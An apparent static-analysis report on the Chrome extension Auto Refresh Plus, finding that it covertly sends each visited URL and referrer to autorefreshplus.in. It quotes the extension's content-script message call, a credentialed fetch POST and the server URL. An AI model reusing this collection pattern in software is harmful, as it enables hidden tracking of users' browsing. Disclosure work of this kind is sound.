Auto Refresh Plus Browsing History Exfiltration

Overview

Auto Refresh Plus is a Chrome extension with approximately 100,000 installs. Static analysis of the extension's code reveals that it collects browsing history — the URL of every page visited and the referrer — and sends this data to its own server at autorefreshplus.in. The collection is not disclosed in the extension's description or name, making it a privacy risk.

How it works

The extension injects a content script (content.js) into every page. On page load and on single-page application (SPA) navigation, the script sends a message to the background script:

chrome.runtime.sendMessage({message:"pageview",uri:n,docref:o||"",navType:a}).catch((()=>{}))

Here n is the current page URL, o is the document referrer, and a is the navigation type. The background script (background.js) listens for this message and forwards the data to a remote server using a POST request with credentials included:

const postData=async(t,a)=>{try{const e=await fetch(t,{method:"POST",credentials:"include",headers:{"Content-Type":"application/json"},body:JSON.stringify(a)});return ...}

The base URL for the server is defined as:

const BASEURL="https://autorefreshplus.in"

This means every page view — including the full URL and referrer — is transmitted to the extension developer's server. The use of credentials:"include" indicates that cookies and other credentials are also sent with the request, potentially allowing the server to correlate the data with other sessions.

Payload

The data exfiltrated consists of the user's browsing history: the URL of every page visited, the referrer, and the navigation type. This is sensitive information that can reveal a user's interests, habits, and potentially personally identifiable information if URLs contain tokens or identifiers.

Store status

The extension remains available on the Chrome Web Store at the time of this writing. Users who have it installed should consider removing it and clearing any browsing data that may have been collected.

Data gaps

The sandbox environment did not capture live network traffic because the extension did not trigger pageview events during testing. However, the static code strongly indicates data exfiltration; the absence of dynamic confirmation does not negate the finding.